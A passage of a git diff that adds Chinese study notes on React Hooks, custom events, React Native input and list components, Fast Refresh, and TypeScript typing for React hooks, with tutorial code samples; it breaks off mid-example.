Hook,我们在组件中就只需要关心与业务逻辑相关的部分。比如代码可以简化成这样的形式: + +```jsx + +import React from "react"; +import useAsync from './useAsync'; + +export default function UserList() { + // 通过 useAsync 这个函数,只需要提供异步逻辑的实现 + const { + execute: fetchUsers, + data: users, + loading, + error, + } = useAsync(async () => { + const res = await fetch("https://reqres.in/api/users/"); + const json = await res.json(); + return json.data; + }); + + return ( + // 根据状态渲染 UI... + ); +} +``` + +**利用了 Hooks 能够管理 React 组件状态的能力,将一个组件中的某一部分状态独立出来,从而实现了通用逻辑的重用。** + +为什么非要用Hooks来封装: + +因为在 Hooks 中,你可以管理当前组件的 state,从而将更多的逻辑写在可重用的 Hooks 中。但是要知道,在普通的工具类中是无法直接修改组件 state 的,那么也就无法在数据改变的时候触发组件的重新渲染。 + +## 监听浏览器状态:useScroll + +虽然 React 组件基本上不需要关心太多的浏览器 API,但是有时候却是必须的: + +- 界面需要根据在窗口大小变化重新布局; +- 在页面滚动时,需要根据滚动条位置,来决定是否显示一个“返回顶部”的按钮。 + +正如 Hooks 的字面意思是“钩子”,它带来的一大好处就是:**可以让 React 的组件绑定在任何可能的数据源上。这样当数据源发生变化时,组件能够自动刷新。** + +```jsx +import { useState, useEffect } from 'react'; + +// 获取横向,纵向滚动条位置 +const getPosition = () => { + return { + x: document.body.scrollLeft, + y: document.body.scrollTop, + }; +}; +const useScroll = () => { + // 定一个 position 这个 state 保存滚动条位置 + const [position, setPosition] = useState(getPosition()); + useEffect(() => { + const handler = () => { + setPosition(getPosition(document)); + }; + // 监听 scroll 事件,更新滚动条位置 + document.addEventListener("scroll", handler); + return () => { + // 组件销毁时,取消事件监听 + document.removeEventListener("scroll", handler); + }; + }, []); + return position; +}; +``` + +“返回顶部“功能的实现: + +```jsx +import React, { useCallback } from 'react'; +import useScroll from './useScroll'; + +function ScrollTop() { + const { y } = useScroll(); + + const goTop = useCallback(() => { + document.body.scrollTop = 0; + }, []); + + const style = { + position: "fixed", + right: "10px", + bottom: "10px", + }; + // 当滚动条位置纵向超过 300 时,显示返回顶部按钮 + if (y > 300) { + return ( + + ); + } + // 否则不 render 任何 UI + return null; +} +``` + +## 拆分复杂组件 + +**尽量将相关的逻辑做成独立的 Hooks,然后在函数组中使用这些 Hooks,通过参数传递和返回值让 Hooks 之间完成交互。拆分逻辑的目的不一定是为了重用,而可以是仅仅为了业务逻辑的隔离。** + +很多同学在写函数组件时没有意识到 Hooks 就是普通的函数,所以通常不会这么去做隔离,而是习惯于一路写下来,这就会造成某个函数组件特别长。还是老生常谈的那句话,**改变这个状况的关键仍然在于开发思路的转变。**我们要真正**把 Hooks 就看成普通的函数,能隔离的尽量去做隔离,**从而让代码更加模块化,更易于理解和维护。 + +```jsx +function BlogList() { + // 获取文章列表... + // 获取分类列表... + // 组合文章数据和分类数据... + // 根据选择的分类过滤文章... + + // 渲染 UI ... +} +``` + +对此功能,我们可以将其拆分成 4 个 Hooks,每一个 Hook 都尽量小,代码如下: + +```jsx +import React, { useEffect, useCallback, useMemo, useState } from "react"; +import { Select, Table } from "antd"; +import _ from "lodash"; +import useAsync from "./useAsync"; + +const endpoint = "https://myserver.com/api/"; +const useArticles = () => { + // 使用上面创建的 useAsync 获取文章列表 + const { execute, data, loading, error } = useAsync( + useCallback(async () => { + const res = await fetch(`${endpoint}/posts`); + return await res.json(); + }, []), + ); + // 执行异步调用 + useEffect(() => execute(), [execute]); + // 返回语义化的数据结构 + return { + articles: data, + articlesLoading: loading, + articlesError: error, + }; +}; +const useCategories = () => { + // 使用上面创建的 useAsync 获取分类列表 + const { execute, data, loading, error } = useAsync( + useCallback(async () => { + const res = await fetch(`${endpoint}/categories`); + return await res.json(); + }, []), + ); + // 执行异步调用 + useEffect(() => execute(), [execute]); + + // 返回语义化的数据结构 + return { + categories: data, + categoriesLoading: loading, + categoriesError: error, + }; +}; +const useCombinedArticles = (articles, categories) => { + // 将文章数据和分类数据组合到一起 + return useMemo(() => { + // 如果没有文章或者分类数据则返回 null + if (!articles || !categories) return null; + return articles.map((article) => { + return { + ...article, + category: categories.find( + (c) => String(c.id) === String(article.categoryId), + ), + }; + }); + }, [articles, categories]); +}; +const useFilteredArticles = (articles, selectedCategory) => { + // 实现按照分类过滤 + return useMemo(() => { + if (!articles) return null; + if (!selectedCategory) return articles; + return articles.filter((article) => { + console.log("filter: ", article.categoryId, selectedCategory); + return String(article?.category?.name) === String(selectedCategory); + }); + }, [articles, selectedCategory]); +}; + +const columns = [ + { dataIndex: "title", title: "Title" }, + { dataIndex: ["category", "name"], title: "Category" }, +]; + +export default function BlogList() { + const [selectedCategory, setSelectedCategory] = useState(null); + // 获取文章列表 + const { articles, articlesError } = useArticles(); + // 获取分类列表 + const { categories, categoriesError } = useCategories(); + // 组合数据 + const combined = useCombinedArticles(articles, categories); + // 实现过滤 + const result = useFilteredArticles(combined, selectedCategory); + + // 分类下拉框选项用于过滤 + const options = useMemo(() => { + const arr = _.uniqBy(categories, (c) => c.name).map((c) => ({ + value: c.name, + label: c.name, + })); + arr.unshift({ value: null, label: "All" }); + return arr; + }, [categories]); + + // 如果出错,简单返回 Failed + if (articlesError || categoriesError) return "Failed"; + + // 如果没有结果,说明正在加载 + if (!result) return "Loading..."; + + return ( +
    +
    + + ); +} +``` + +## 小结 + +Hooks 典型的四个使用场景: + +1. 抽取业务逻辑; +2. 封装通用逻辑; +3. 监听浏览器状态; +4. 拆分复杂组件。 + +> Hooks 作为普通函数,是可以传递任何参数的。 diff --git "a/src/React/React Hooks\347\254\224\350\256\260/\350\207\252\345\256\232\344\271\211\344\272\213\344\273\266.md" "b/src/React/React Hooks\347\254\224\350\256\260/\350\207\252\345\256\232\344\271\211\344\272\213\344\273\266.md" new file mode 100644 index 00000000..a36859d7 --- /dev/null +++ "b/src/React/React Hooks\347\254\224\350\256\260/\350\207\252\345\256\232\344\271\211\344\272\213\344\273\266.md" @@ -0,0 +1,141 @@ +--- +date: 2022-05-12 +category: +- React +- React Hooks +--- + +# 自定义事件 + +在 React 中,父子组件的交互是通过 props。这个机制其实是双向的,父组件通过 props 把值传递给子组件,而子组件则通过暴露一些事件,给父组件反馈到一些状态或数据,**这两个环节是组件之间通信的基础。** + +## 在 React 中使用原生事件 + +在 React 中进行事件监听的语法,和原生 DOM 事件的写法是非常类似的,都是在一个节点上加一个回调函数的属性来实现。比如下面的方式: + +```jsx + +``` + +在 React 中,都是约定使用骆驼体(Camel Case)。只要原生 DOM 有的事件,在 React 中基本都可以使用,只是写法上采用骆驼体就可以了。 + +其实是否需要 useCallback ,和函数的复杂度没有必然关系,而是和回调函数绑定到哪个组件有关。这是为了避免因组件属性变化而导致不必要的重新渲染。 + +如果你使用的是自定义组件,或者一些 UI 框架的组件,那么回调函数还都应该用 useCallback 进行封装。 + +## React 原生事件的原理:合成事件(Synthetic Events) + +由于虚拟 DOM 的存在,在 React 中即使绑定一个事件到原生的 DOM 节点,事件也并不是绑定在对应的节点上,而是**所有的事件都是绑定在根节点上**。然后由 React 统一监听和管理,获取事件后再分发到具体的虚拟 DOM 节点上。 + +在 React 17 之前,所有的事件都是绑定在 document 上的,而从 React 17 开始,**所有的事件都绑定在整个 App 上的根节点上,**这主要是为了以后页面上可能存在多版本 React 的考虑。 + +**React 这么做的原因主要有两个:** + +1. 第一,虚拟 DOM render 的时候, DOM 很可能还没有真实地 render 到页面上,所以无法绑定事件。 +2. 第二,React 可以屏蔽底层事件的细节,避免浏览器的兼容性问题。同时呢,对于 React Native 这种不是通过浏览器 render 的运行时,也能提供一致的 API。 + +**为什么事件绑定在某个根节点上,也能触发实际 DOM 节点的事件?** + +我们知道,在浏览器的原生机制中,事件会从被触发的节点往父节点冒泡,然后沿着整个路径一直到根节点,所以根节点其实是可以收到所有的事件的。**这也称之为浏览器事件的冒泡模型。** + +因此,无论事件在哪个节点被触发, React 都可以通过事件的 srcElement 这个属性,知道它是从哪个节点开始发出的,这样 React 就可以收集管理所有的事件,然后再以一致的 API 暴露出来。 + +这样的话,我们在写原生事件的时候,就再也不用再担心浏览器兼容性的问题了。如下图所示,就展示了事件机制冒泡模型的原理: + +img + +对于原生事件的处理,可以说是 React 的一个创新,不仅能够让你像以前在原生 DOM 节点上定义事件的方式一样,而且还提供了一致的 API,让我们不用再担心浏览器的兼容问题,使用起来也更加容易。 + +## 创建自定义事件 + +对于一个自定义组件,除了可以从 props 接收参数并用于渲染之外,还很可能需要和父组件进行交互,从而反馈信息。这个时候,我们就需要为组件创建自定义事件,这也是 React 整个 UI 模型中非常重要的一个环节。 + +虽然自定义事件和原生事件看上去类似,但是两者的机制是完全不一样的: + +- 原生事件是浏览器的机制; +- 而自定义事件则是纯粹的组件自己的行为,本质是一种回调函数机制。 + +在 React 中,自定义事件不用通过任何特殊的 API,只需要通过 props 给组件传递一个回调函数,然后在组件中的某个时机,比如用户输入,或者某个请求完成时,去调用这个传过来的回调函数就可以了。 + +当然,习惯上我们都会**将这样的回调函数命名为 onSomething 这种以“ on ”开头的名字**,方便在使用的时候理解。 + +```jsx +import { useState } from "react"; + +// 创建一个无状态的受控组件 +function ToggleButton({ value, onChange }) { + const handleClick = () => { + onChange(!value); + }; + return ( + + ); +} +``` + +那么下面的代码就演示了如何使用这样一个组件: + +```jsx +import { useState } from "react"; +import ToggleButton from './ToggleButton'; + +function ToggleButtonExample() { + const [on, setOn] = useState(true); + return ( + <> +

    Toggle Button

    + setOn(value)} /> + + ); +}; +``` + +## 使用 Hooks 封装键盘事件 + +**Hooks 具备绑定任何数据源的能力** + +在没有 Hooks 的时候,比如说我们要让某个显示表格的页面,支持通过左右键进行翻页的功能。那么我们就需要在 useEffect 里去做 window.addEventListnner,然后在返回的回调函数里去 window.removeEventListnner,实现起来就很麻烦。 + +但是,如果我们用一个 Hook 来实现这个功能,那么只要实现一次,就可以在多个组件中使用了。下面就是这个 Hook 的实现代码: + +```jsx +import { useEffect, useState } from "react"; + +// 使用 document.body 作为默认的监听节点 +const useKeyPress = (domNode = document.body) => { + const [key, setKey] = useState(null); + useEffect(() => { + const handleKeyPress = (evt) => { + setKey(evt.keyCode); + }; + // 监听按键事件 + domNode.addEventListener("keypress", handleKeyPress); + return () => { + // 接触监听按键事件 + domNode.removeEventListener("keypress", handleKeyPress); + }; + }, [domNode]); + return key; +}; +``` + +有了这个 Hook,我们在使用的时候就非常方便,无需做任何事件的绑定,**而是只要把键盘按键看做是一个不断变化的数据源**,这样,就可以去实时监听某个 DOM 节点上触发的键盘事件了。 + +比如下面就是去显示当前按键的一个简单使用例子: + +```jsx +import useKeyPress from './useKeyPress'; + +function UseKeyPressExample(){ + const key = useKeyPress(); + return ( +
    +

    UseKeyPress

    + +
    + ); +}; +``` + diff --git "a/src/React/React Hooks\347\254\224\350\256\260/\350\267\257\347\224\261\347\256\241\347\220\206.md" "b/src/React/React Hooks\347\254\224\350\256\260/\350\267\257\347\224\261\347\256\241\347\220\206.md" new file mode 100644 index 00000000..c19d422f --- /dev/null +++ "b/src/React/React Hooks\347\254\224\350\256\260/\350\267\257\347\224\261\347\256\241\347\220\206.md" @@ -0,0 +1,3 @@ +# 路由管理 + +todo!!!! \ No newline at end of file diff --git "a/src/React/React Native/React Native \345\237\272\347\241\200.md" "b/src/React/React Native/React Native \345\237\272\347\241\200.md" new file mode 100644 index 00000000..9e660996 --- /dev/null +++ "b/src/React/React Native/React Native \345\237\272\347\241\200.md" @@ -0,0 +1,302 @@ +--- +date: 2022-05-12 +category: +- React +- ReactNative +--- + +# React Native 基础 + +## TextInput + +### 受控(Controlled)组件 + +受控的意思说的是使用 JavaScript 中的 state 去控制宿主组件中的值。一个受控的 ControlledTextInput 组件示例如下: + +```jsx +function ControlledTextInput() { + const [text, setText] = React.useState(''); + return +} +``` + +在这个示例中,我们先使用了 useState 创建了一个状态 text 和状态更新函数setText,并将状态text赋值给了 TextInput 的属性 value,value 是控制 TextInput 宿主组件展示的值用的。在用户输入文字后,会触发 onChangeText 事件,这时就会调用 setText,将状态 text 更新为用户最新输入的值。 + +受控组件和非受控组件有什么区别: + +![img](https://my-doc-1259409954.file.myqcloud.com/MyImages/7621791793d0d73030124e472f9117a9.png) + +**使用受控组件,并且使用异步的文字改变事件**,这也符合大部分人的代码习惯。 + +### 输入框的焦点 + +你需要关注的第二件事是,如何控制输入框的焦点。通常光标放置在哪个输入框上,那个输入框就是页面的唯一焦点。 + +有些场景下,输入框的焦点是程序自动控制的,无需开发者处理。比如用户点击手机屏幕上的输入框,此时焦点和光标都会移到输入框上。 + +有些场景下,是需要代码介入控制焦点的。比如你购物搜索商品,从首页跳到搜索页时,搜索页的焦点就是用代码控制的。或者你在填写收货地址时,为了让你少点几次输入框,当你按下键盘的下一项按钮时,焦点就会从当前输入框自动转移到下一个输入框。 + +我们先来看怎么实现自动“对焦”,以搜索页的搜索输入框自动对焦为例,示例代码如下: + +```jsx + +``` + +TextInput 的 autoFocus 属性,就是用于控制自动对焦用的,其默认值是 false。也就是说,所有的 TextInput 元素默认都不会自动的对焦,而我们将 TextInput 的 autoFocus 属性设置为 true 时,框架会在 TextInput 元素挂载后,自动帮我们进行对焦。 + +搜索页面只有一个搜索框的场景下 ,autoFocus 是好用的。但当一个页面有多个输入框时,autoFocus 就没法实现焦点的转移了。比如,在购物 App 中填写收货地址时,你每完成一项填写,点击键盘中的下一项按钮,焦点就会自动转移一次,从姓名到电话再到地址。我们以前讲过,React/React Native 是声明式的,但是在操作自带状态的宿主属性时,比如焦点转移,声明式就不管用了,还得用给宿主组件下命令。那怎么下命令呢? + +我们先从最简单的控制 TextInput 焦点讲起,示例代码如下: + +```jsx +function AutoNextFocusTextInputs() { + const ref1 = React.useRef(null); + + useEffect(()=>{ + ref1.current?.focus() + },[]) + + return ( + + ) +} +``` + +在这段代码中,先声明了一个 ref1 用于保存 TextInput 宿主组件。在该宿主组件上封装了 Native/C++ 层暴露给 JavaScript 的命令,比如对焦focus()、失焦blur()、控制选中文字的光标setSelection。 + +AutoNextFocusTextInputs组件在挂载完成后,程序会调用ref1.current.focus(),将焦点对到 TextInput 元素上,这就是使用focus()实现对焦的原理。 + +使用 focus()命令对焦和使用autoFocus属性对焦,在原生应用层面的实现原理是一样的,只不过在 JavaScript 层面,前者是命令式的,后者是声明式的。对自带状态的宿主组件而言,命令式的方法能够进行更复杂的操作。 + +那要实现每点一次键盘的“下一项”按钮,将焦点对到下一个 TextInput 元素上,怎么实现呢?具体的示例代码如下: + +```jsx +function AutoNextFocusTextInputs() { + const ref1 = React.useRef(null); + const ref2 = React.useRef(null); + const ref3 = React.useRef(null); + + return ( + <> + // 姓名输入框 + // 电话输入框 + // 地址输入框 + + ); +} +``` + +首先,我们得声明 3 个 ref 用于保存 3 个 TextInput 元素。其次,实现这三个元素,它们依次是姓名输入框、电话输入框、地址输入框。最后,需要监听点击键盘完成按钮的提交事件onSubmitEditing,在onSubmitEditing的回调中,将焦点通过ref.focus()转移到下一个 TextInput 元素上。 + +### 联动键盘的体验 + +先来看第一个体验细节,iOS 微信搜索框的键盘右下角按钮有一个“置灰置蓝”的功能。默认情况下,键盘右下角的按钮显示的是置灰的“搜索”二字,当你在搜索框输入文字后,置灰的“搜索”按钮会变成蓝色背景的“搜索”二字。 + +置灰的作用是提示用户,没有输入文字不能进行搜索,按钮变蓝提示的是有内容了,可以搜索了。 + +控制键盘右下角按钮置灰置蓝的,是 TextInput 的enablesReturnKeyAutomatically属性,这个属性是 iOS 独有的属性,默认是false,也就是任何使用键盘右下角的按钮,都可以点击。你也可以通过将其设置为 true,使其在输入框中没有文字时置灰。 + +img + +有两个属性可以设置这些文案,包括 iOS/Android 通用的 returnKeyType 和 Android 独有的 returnKeyLabel。全部的属性你可以查一下文档,我这里只说一下通用属性: + +![img](https://my-doc-1259409954.file.myqcloud.com/MyImages/dyyda94cdbb8d899c9852225d7e6f4fd.png) + +第三个体验细节是,登录页面的自动填写账号密码功能。虽然现在有了二维码登录,但传统的账号密码登录场景还是非常多的。每次登录的时候,要输入一遍账号密码,就很麻烦了。 + +无论是 iOS 还是 Android,它们都有系统层面的记住账号密码的功能,帮助用户快速完成账号密码的填写。完成快速填写功能的 TextInput 属性,在 iOS 上叫做textContentType,在 Android 上叫做autoComplete。 + +你可以将账号输入框的快速填写属性设置为username,将密码输入框的快速填写属性设置为password,帮助用户节约一些时间,提高一下整体的成功率。除此之外,一些姓名、电话、地址信息也可以快速填写。 + +img + +还有一些键盘的体验细节,比如keyboardType可以控制键盘类型,可以让用户更方便地输入电话号码phone-pad、邮箱地址email-address等等。 + +img + +当你知道这些键盘细节后,你就可以利用这些系统的特性,帮你的 App 体验变得更好。 + +```jsx +function AutoNextFocusTextInputs() { + const ref1,ref2,ref3 ... + + return ( + <> + + + + + ); +} +``` + +在这段代码中,我们使用了placeholder来提醒用户该输入框应该输入什么,使用了 textContentType="name" 来辅助用户填写姓名,使用了 keyboardType="phone-pad" 来指定键盘只用于输入电话号码,使用returnKeyType="next" 或 "done"来提示用户当前操作的含义,当然还有ref.current.focus()的自动聚焦功能。 + +### 总结 + +学会处理输入框的文字。有两种处理方式受控组件和非受控组件,受控组件更强大一些,也更符合大多数 React/React Native 开发者的习惯;学会处理输入框的焦点。处理焦点有两种方式:一种是声明式的autoFocus属性,另一种是命令式的ref.current.focus()方法,前者适用场景有限,后者适用场景更多;学会处理与输入框联动的键盘,包括键盘右下角的按钮、键盘提示文案、键盘类型等等。 + +## List(FlatList, RecyclerListView) + +为什么开源社区的 RecyclerListView 比官方的 FlastList 性能更好?FlastList、RecyclerListView 的优化原理是什么?FlastList 和 RecyclerListView 的底层实现都是滚动组件 ScrollView,所以我们先从 ScrollView 聊起。 + +### ScrollView:渲染所有内容的滚动组件 + +ScrollView 是一个支持横向或竖向的滚动组件,几乎所有页面都会用到。 + +ScrollView 组件类似于 Web 中的 或 标签,浏览器中的页面之所以能上下滚动,就是因为 html 或 body 标签默认有一个 overflow-y: scroll 的属性,如果你把标签的属性设置为 overflow-y: hidden,页面就不能滚动了。 + +React Native 的 ScrollView 组件在 Android 的底层实现用的是 ScrollView 和 HorizontalScrollView,在 iOS 的底层实现用的是 UIScrollView。 + +**所谓的滚动,解决的是在有限高度的屏幕内浏览无限高度的内容的问题。有限高度的容器是 ScrollView,无限高度,或者说高度不确定的内容是 ScrollView 的 children。** + +使用 ScrollView 组件时,**我们通常并不直接给 ScrollView 设置固定高度或宽度,而是给其父组件设置固定高度或宽度。** + +一般而言,我们会使用安全区域组件 SafeAreaView 组件作为 ScrollView 的父组件,并给 SafeAreaView 组件设置布局属性 flex:1,让内容自动撑高 SafeAreaView。使用 SafeAreaView 作为最外层组件的好处是,它可以帮我们适配 iPhone 的刘海屏,节约我们的适配成本,示例代码如下: + +```jsx + + + 1 + + +``` + +了解完 ScrollView 组件的基本使用方法后,我们再来看下 ScrollView 的性能,看看如果使用 ScrollView 来实现无限列表会怎么样。 + +```jsx + +// 10 个 item 就能填满整个屏幕,渲染很快 +// 1000 个 item 相当于 100+ 个屏幕的高度,渲染很慢 +const NUM_ITEMS = 1000; + +const makeContent = (nItems: number, styles: any) => { + return Array(nItems) + .fill(1) + .map((_, i) => ( + + {'Item ' + i} + + )); +}; + +const App = () => { + return ( + + {makeContent(NUM_ITEMS, styles.itemWrapper)} + + ); +}; +``` + +上面这段代码,说的就是使用 ScrollView 组件一次性直接渲染 1000 个子视图,这里没有做任何懒加载优化。 + +以信息流业务为例,用户进入页面后第一眼看到的只有屏幕中的信息,一般不超过 10 条。一次性渲染 10 条信息,其实很快,就是一眨眼的功夫。但如果是 1000 条呢?算力乘以 100,内存乘以 100,耗时也乘以 100,渲染速度就慢下来了。大量的计算和内存浪费在了用户看不到的地方。 + +### FlatList:按需渲染的列表组件 + +FlatList 列表组件就是 “自动”按需渲染的。 + +FlatList 是 React Native 官方提供的第二代列表组件。FlatList 组件底层使用的是虚拟列表 VirtualizedList,VirtualizedList 底层组件使用的是 ScrollView 组件。因此 VirtualizedList 和 ScrollView 组件中的大部分属性,FlatList 组件也可以使用。关于 FlatList 更具体的使用方法,你可以查看[官方文档](https://reactnative.dev/docs/flatlist)。现在,我们还是回到 FlatList 的原理,先从理论层面上理解 FlatList 为什么可以自动按需渲染 + +简单地讲,FlatList 性能比 ScrollView 好的原因是, **FlatList 列表组件利用按需渲染机制减少了首次渲染的视图,利用空视图的占位机制回收了原有视图的内存,**你可以对比一下二者的区别: + +```js +// 从上到下滚动时的渲染方式 +// SrcollView 渲染方式:一次渲染所有视图 +SrcollView0_9 = [{👁},{ },{ },{ }] // 浏览0~9条列表项 +SrcollView10_19 = [{ },{👁},{ },{ }] // 浏览10~19条列表项 +SrcollView20_29 = [{ },{ },{👁},{ }] // 浏览20~29条列表项 +SrcollView30_39 = [{ },{ },{ },{👁}] // 浏览30~39条列表项 + +// FlatList 渲染方式:按需渲染,看不见的地方用 $empty 占位 +FlatList0_9 = [{👁},{ }] // 浏览0~9条列表项 +FlatList10_19 = [{ },{👁},{ }] // 浏览10~19条列表项 +FlatList20_29 = [$empty,{},{👁},{}] // 浏览20~29条列表项 +FlatList30_39 = [$empty,$empty,{ },{👁}]// 浏览30~39条列表项 +``` + +$empty,这就是内存回收 + +40 条列表只是一个假设的例子,实现 FlatList 自动按需渲染的思路具体可以分为三步: + +1. 通过滚动事件的回调参数,计算需要按需渲染的区域; +2. 通过需要按需渲染的区域,计算需要按需渲染的列表项索引; +3. 只渲染需要按需渲染列表项,不需要渲染的列表项用空视图代替。 + +### RecyclerListView:可复用的列表组件 + + + +### PK:ScrollView、FlatList、RecyclerListView + +- ScrollView 适合内容少的页面,只有几个屏幕高页面是适合的; + +- FlatList 性能还过得去,但我不推荐你优先使用它,只有在你的列表项内容高度不能事先确定,或者不可枚举的情况下使用它; + +- RecyclerListView 性能最好,你应该优先使用它,但使用它的前提是可枚举且高度确定或大致确定 + +![image-20220512154131387](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220512154131387.png) + +![image-20220512154139286](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220512154139286.png) + +## Fast Refresh:提高 UI 调试效率神器 + +React Native 快速刷新(Fast Refresh)是默认开启的,你不用做任何额外的配置,就能立刻体验到。 + +在使用快速刷新时,你应该知道一个提升开发效率的小技巧。我日常开发时习惯把模拟器放在代码编辑器右边,并且会把模拟器勾选window => stay on top选项,在把模拟器置顶在编辑器上方。 + +这样,我们就能在写代码和调试的同时,立刻看到模拟器中的效果。相比真机调试或者多屏来回切换,置顶模拟器可以减少手离开键盘和视野来回切换的次数,提高你的开发效率。 + +![img](https://my-doc-1259409954.file.myqcloud.com/MyImages/57463070f313cb6e0e1425ee3930e8f4.png) + +### 基础原理:模块热替换 + +**React Native 的快速刷新功能的最早期版本,叫做热重载 Hot Reload,是基于 Webpack 的模块热替换(Hot Module Replacement)的原理开发的**。 + +我们写 React Native 之前,都会运行一个 react-native start 命令,启动一个 Metro 服务,而 Metro 服务就实现了模块热替换的功能。Metro 服务会把更新的代码打包发送给 React Native 应用,让应用能够及时更新,那这个过程大概是怎么样的呢?首先,Metro 服务会监听代码文件的变化,当你修改完代码(①),保存文件时(②),Metro 服务就会收到通知。在你保存好后,Metro 就会编译涉及到的更新文件(③),编译完成后再生成一个用于更新的 bundle。而 Metro 的模块热替换服务和 React Native 应用中的模块热替换客户端(HMR Client),在启动时其实已经建立好了 socket 连接。所以,当新 bundle 生成时,模块热替换服务会通过 socket 通知块热替换客户端,热替换客户端实际就是运行在 React Native 应用中的一段 JavaScript 代码,它一开始就执行了一个 socket 监听事件(④)。React Native 收到通知后,就会向请求 bundle 服务发起请求。然后,bundle 服务会返回一个用于更新的 bundle(⑤),并使用 JavaScript 引擎,在原来 React Native 应用的 JavaScript 上下文中执行用于更新的 bundle。这个 bundle 是由多个模块组成的,你修改代码文件对应的模块及其依赖模块都是新模块,新模块会把原先的旧模块替换掉。⑥这就是整个模块热替换的全部过程,这里我放了一张流程图,你可以参考一下: + +![img](https://my-doc-1259409954.file.myqcloud.com/MyImages/2fd3716c54b10fe645b9a3d4301cdb15.jpg) + +基础的模块热替换功能只能实现组件级别的强制刷新,而组件状态的丢失,会导致开发效率的降低。 + +### 进阶能力:复用组件及其状态 + +**简而言之,React Native 的快速刷新功能,就是通过“代理”组件的方式,实现了组件状态不丢失,原生视图不重建。** + +![img](https://my-doc-1259409954.file.myqcloud.com/MyImages/6eb61b9eb4d62b0519aed1a2a23e22a9.jpg) + +当然,并不是所有情况都会复用状态和原生视图: + +> The simple answer is “replace them on the prototype” but even with Proxies, in my experience there are too many gnarly edge cases for this to work reliably. + +所以,我给你的建议是,尽可能地拥抱函数组件,放弃类组件。这样你在 UI 调试的时候,就能更多的享受函数组件带来的状态保留好处。特别是一些入口很深的组件,需要多次操作后才能调试,一旦导航、蒙层、滚动之类的组件状态丢失了,整个操作就要重新再来一遍,才能重新进行调试。拥抱函数组件,你的调试效率才会更高。 + +### 整体策略:逐步降级 + +快速刷新的整体策略就是逐步降级。如果颗粒度最小的更新不能使用,就换成颗粒度大一些的更新: + +代码块:如果你只修改了函数组件中的一些代码块,并且没有改动 hooks 的顺序。快速刷新在复用状态和原生视图的同时,你对该文件的所有修改都会生效,包括样式、渲染逻辑、事件处理、甚至一些副作用; + +组件:如果你修改了类组件中的任意代码,快速刷新会使用新的类组件进行重新渲染,原来的状态和原生视图都会被销毁; + +模块:如果你修改的模块导出的东西不只是 React 组件,快速刷新将重新执行该模块以及所有依赖它的模块; + +React Native 应用:如果你修改的文件被 React 组件树之外的模块引用了,快速刷新将重新渲染整个 React Native 应用。 + +可以看到,快速刷新的逐步降级策略是,**从更新颗粒度最小代码块开始的,然后是组件、模块,最后是大颗粒度的 React Native 应用。**越小颗粒度的更新,为我们保留了越多原来的状态和环境,我们的开发调试效率也更高。 + +![image-20220512160143506](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220512160143506.png) + +## Debug:解决 BUG 思路有哪些? + +### 一个模型:发现问题、找到原因、修复 Bug + +![img](https://my-doc-1259409954.file.myqcloud.com/MyImages/8326a0d730d4ac2fd526ec02dc7125c0.png) + +## 两个原则:不带上线原则和本地复现原则 + +https://time.geekbang.org/column/article/508776 diff --git "a/src/React/React \344\270\255\344\275\277\347\224\250 TypeScript.md" "b/src/React/React \344\270\255\344\275\277\347\224\250 TypeScript.md" new file mode 100644 index 00000000..c397a78b --- /dev/null +++ "b/src/React/React \344\270\255\344\275\277\347\224\250 TypeScript.md" @@ -0,0 +1,415 @@ +--- +date: 2022-08-16 +category: +- React +--- + +# React 中使用 TypeScript + +> 笔记总结自《TS全面进阶指南》 + +## 泛型坑位 + +### useState + +**基本类型** + +首先是 useState,可以由输入值隐式推导或者显式传入泛型: + +```tsx +const Container = () => { + // 推导为 string 类型 + const [state1, setState1] = useState('linbudu'); + // 此时类型为 string | undefined + const [state2, setState2] = useState(); +}; +``` + +需要注意的是在显式传入泛型时,如果像上面的例子一样没有提供初始值,那么 state2 的类型实际上会是 `string | undefined`,这是因为在 useState 声明中对是否提供初始值的两种情况做了区分重载 + +```ts +// 提供了默认值 +function useState(initialState: S | (() => S)): [S, Dispatch>]; + +// 没有提供默认值 +function useState(): [S | undefined, Dispatch>]; +``` + +**空对象** + +```typescript +const [data, setData] = useState({} as IData); +``` + +这么做的坏处在于,后续的调用方中会认为这是一个完整实现了 IData 结构的对象,可能会出现遗漏的未赋值属性,此时你也可以使用 Partial 类型标记它为可选: + +```typescript +const [data, setData] = useState>({}); +``` + +如果你需要消费 useState 返回值的类型,可以搭配 ReturnType: + +```typescript +// 相当于 useState(0) 的返回值类型 +type State = ReturnType>; +``` + +### useCallback 与 useMemo + +然后是 useCallback 与 useMemo,它们的泛型参数分别表示包裹的函数和计算产物,使用方式类似,也分为**隐式推导**与**显式提供**两种: + +```ts +const Container = () => { + // 泛型推导为 (input: number) => boolean + const handler1 = useCallback((input: number) => { + return input > 599; + }, []); + + // 显式提供为 (input: number, compare: boolean) => boolean + const handler2 = useCallback<(input: number, compare: boolean) => boolean>( + (input: number) => { + return input > 599; + }, + [] + ); + + // 推导为 string + const result1 = useMemo(() => { + return 'some-expensive-process'; + }, []); + + // 显式提供 + const result2 = useMemo<{ name?: string }>(() => { + return {}; + }, []); +}; +``` + +通常情况下,我们不会主动为 useCallback 提供泛型参数,因为其传入的函数往往已经确定。而为 useMemo 提供泛型参数则要常见一些,因为我们可能希望通过这种方式来约束 useMemo 最后的返回值。 + +### [useReducer](https://zh-hans.reactjs.org/docs/hooks-reference.html#usereducer) + +useReducer 可以被视为更复杂一些的 useState,它们关注的都是数据的变化。不同的是 useReducer 中只能由 reducer 按照特定的 action 来修改数据,但 useState 则可以随意修改。useReducer 有三个泛型坑位,分别为 reducer 函数的类型签名、数据的结构以及初始值的计算函数,我们直接看实际使用即可: + +```tsx +import { useReducer } from 'react'; + +const initialState = { count: 0 }; + +type Actions = + | { + type: 'inc'; + payload: { + count: number; + max?: number; + }; + } + | { + type: 'dec'; + payload: { + count: number; + min?: number; + }; + }; + +function reducer(state: typeof initialState, action: Actions) { + switch (action.type) { + case 'inc': + return { + count: action.payload.max + ? Math.min(state.count + action.payload.count, action.payload.max) + : state.count + action.payload.count, + }; + case 'dec': + return { + count: action.payload.min + ? Math.max(state.count + action.payload.count, action.payload.min) + : state.count - action.payload.count, + }; + default: + throw new Error('Unexpected Action Received.'); + } +} + +function Counter() { + const [state, dispatch] = useReducer(reducer, initialState); + + return ( + <> + Count: {state.count} + + + + ); +} +``` + +在上面的例子中,useReducer 的泛型参数分别被填充为 reducer 函数的类型签名,以及其初始状态。 + +```ts +type Reducer = (prevState: S, action: A) => S; +type ReducerState> = R extends Reducer ? S : never; + +function useReducer>( + reducer: R, 